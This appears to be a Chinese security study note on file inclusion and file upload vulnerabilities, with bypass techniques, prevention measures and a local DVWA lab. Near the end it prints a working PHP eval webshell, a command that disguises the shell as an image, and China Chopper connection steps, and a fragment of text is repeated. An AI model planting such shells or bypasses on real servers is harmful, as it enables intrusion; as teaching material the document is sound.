文件包含漏洞和上传漏洞
文章目錄
- 文件包含漏洞
- PHP文件包含漏洞
- 遠程文件包含漏洞
- 截斷包含
- JSP文件包含
- 文件包含漏洞預防
- 文件上傳漏洞
- 解析漏洞
- 服務端檢測
- 目錄驗證
- 文件內容檢測
- 預防方法
- 一句話木馬
sql注入,有sql盲注,基于布爾的注入,還有基于時間的注入,union的使用條件 字段數保持一致,可以用其他數據湊數補上。
文件包含漏洞
PHP文件包含漏洞
? 文件包含:共用函數寫到單個文件中,然后多次調用,
? 文件包含漏洞:包含的文件可以被替換成惡意文件。
PHP提供了四個文件包含函數,分別是include() 找不到被包含的文件只會產生警告
include 找不到被包含的文件時只會產生警告(E_WARNING),腳本將繼續執行; require 找不到被包含的文件時會產生致命錯誤(E_ COMPILE_ERROR),并停止腳本; include _once: 此語句和include()語句類似,唯一區別是如果該文件中的代碼已經被包含,則不會再次包含; require_once: 此行語句和require()語句類似,唯一區 別是如果該文件中的代碼已經被包含,則不會再次包含。? 比如可以上傳一個txt文件,可以上傳一個含有PHP語句。可以嘗試去讓網站執行txt中的語句。黑客會對數據庫配置文件感興趣。把參數的值改為配置文件所在目錄,可以讓利用漏洞讓信息顯現出來。
遠程文件包含漏洞
? 7.3以下的版本可以包含遠程文件
? 發生問題一般,一般用遠程文件。
要想利用文件包含漏洞的利用
Include()等函數通過動態變量的方式引入需要包含的文件; 用戶能夠控制該動態變量讀取敏感文件 在某些警告中包含敏感路徑
本地包含配合文件上傳 很多文件不允許遠程包含,但很多網站提供上傳功能比如上傳頭像,文檔等。
包含Apache日志文件
? 上傳的木馬,可能被網站殺毒軟件刪除,可以利用access日志文件access.log
? 去包含日志文件,讓文件中出現一些代碼,那么黑客可以把代碼放到url里面,然后日志文件記錄下url+代碼
? 這些代碼要用url編碼,這個是黑客不想看到的,被編碼后的代碼就不能被執行,所有可以用fiddler攔截請求,把被編碼的代碼修改成編碼之前的。修改請求,對請求打向上的斷點。在Headers里面還原代碼 再發送。
截斷包含
? 很多程序員認為文件包含漏洞比較好修復,固定拓展名即可,但是會被攻擊者繞過去。
include $_GET['test'] . ".php";? 攻擊者可以采取截斷的方法突破代碼。PHP 5.30出于安全考慮中已經廢棄了截斷功能
JSP文件包含
? 靜態包含:只允許包含一個靜態文件
? 動態包含:對于PHP即使是圖片只要里面有PHP代碼就會執行,但是JSP只會當成文本,因此JSP更安全。
文件包含漏洞預防
? 嚴格判斷參數
? 路徑限制:要包含的文件只能在指定路徑下,禁止目錄跳轉 “…/ ”;
? 包含文件驗證:驗證是不是白名單的一員。
文件上傳漏洞
? 對上傳文件的控制不足,用戶上傳動態腳本文件 惡意代碼。(WebShell后門)
? 服務器怎么處理解釋文件?
解析漏洞
? web服務器存在漏洞
? IIS6.0 解析文件時存在以下兩個漏洞,*.asa *.asp文件下文件都會被當作可執行的asp文件下解析
? *.asp;1.jpg 會被當做ASP腳本來執行。asp會把;后面的文件名舍棄掉。
Apache1.x\ 2.x中存在解析漏洞
? <?php phpinfo();?> 保存文件為1.php.rar
? 輸入http://localhost/1.php.rar 服務器不認識rar就向前找到了php 就當成php文件執行。1.php.qwer放到網站目錄下
mine.types 文件里面存有apache所認識的所有后綴,如果不認識就向前找。訪問http://localhost/1.php.qwer
qwer在 mine.types 文件 中不存在,它就繼續尋找包含的文件名后綴,于是找到了php后綴。就開始執行惡意代碼了。
? 這個可以通過配置文件來避免這個漏洞。
導致漏洞的原因:
? 1.服務器配置不當(put可以直接向服務器上傳文件,不過默認是關閉的)
? 2…本地文件上傳限制被繞過。把前端判斷文件類型的檢查代碼在瀏覽器刪除。或者在本地構建一個沒有onsubmit的表單因此不要只在前端檢查。
? 3.服務端過濾不嚴格被繞過
? 4.文件路徑截斷
? 5.文件解析漏洞導致文件執行
策略
? 客戶端檢測:一般是比較基本的檢查,減輕服務器負擔
? 服務器端檢測:檢查文件名是否合法,真正防御攻擊者的,首先檢查拓展名是否合法
檢查拓展名
? 1.黑名單
? 2.白名單,攻擊者有很多方法繞過黑名單檢測。
服務端檢測
? mine.types 文件寫法是 audio/mpeg ->mp3
? 程序員一般檢測Content-Type 不過攻擊者可以繞過 fiddler不能改消息頭,但是Burpsuite抓到請求包可以修改。
目錄驗證
? 程序允許用戶將文件放到指定目錄下,可以讓用戶指定目錄,攻擊者會上傳一個目錄作為可執行文件。
文件內容檢測
? 文件頭檢測,不同文件不同的文件頭,后臺根據文件頭判斷文件類型。
? 文件內容加載/渲染
? 這個主要檢測文件結構是否完整,例如PHP代碼覆蓋一部分圖片數據。
? 繞過方法:不破壞文件本身結構的前提下 找一個空白區域存放惡意代碼
預防方法
? 1.設置文件為不可執行。
? 2.判斷文件類型
? 3.使用隨機數改寫文件名和文件路徑
? 4.單獨設置文件服務器的域名。網站安全級別比較高可以單獨一臺服務器存放用戶上傳的文件,利用了同源策略。但是否可以這樣設置要看業務邏輯
一句話木馬
WebShell 是web入侵的腳本攻擊工具。就是一個asp或php木馬后門,把它和網站文件混在一起。
? 中國菜刀,一般裝在攻擊者電腦上,phpstudy要選擇低版本的可以用做測試服務器。
http://localhost/DVWA-master/vulnerabilities/upload/#
Hack.php
<?php @eval($_POST['pass']);?>@表示不報錯,eval()把字符串作為PHP代碼執行
入侵條件: 上傳成功未被殺 知道上傳路徑 …/…/hackable/uploads/Hack.php succesfully uploaded!
? 上傳成功可以用菜刀連接了
中國菜刀填寫
http://localhost/DVWA-master/hackable/uploads/Hack.phppass<T>MYSQL</T> <H>localhost</H> <U>root</U> <P>root</P>就可以通過菜刀控制服務器了。
如果網站防護措施比較高 那么文件上傳時就不可以為.php文件。可以把Hack.php文件與demo.jpg合并。
copy demo.jpg/b+Hack.php/a Hack.jpg在圖片文件上傳后創建muma.php文件
http://localhost/DVWA-master/hackable/uploads/Hack.jpg然后按上面的步驟重新執行就行。
時就不可以為.php文件。可以把Hack.php文件與demo.jpg合并。
在圖片文件上傳后創建muma.php文件
http://localhost/DVWA-master/hackable/uploads/Hack.jpg然后按上面的步驟重新執行就行。
總結
以上是生活随笔為你收集整理的文件包含漏洞和上传漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: msfvenom生成muma
- 下一篇: shell一站式攻略——history历